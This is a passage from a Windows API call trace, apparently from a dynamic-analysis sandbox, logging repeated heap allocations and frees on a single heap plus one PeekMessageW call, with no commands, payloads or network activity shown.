| out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f4110 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f4110 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.315] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f4110 [0116.315] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebc0 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3942630 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb88 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3942e78 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcae70 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f38 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f60 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.316] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.316] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.316] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.317] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.318] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.318] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.319] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.319] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.320] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.320] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.321] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.321] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.322] 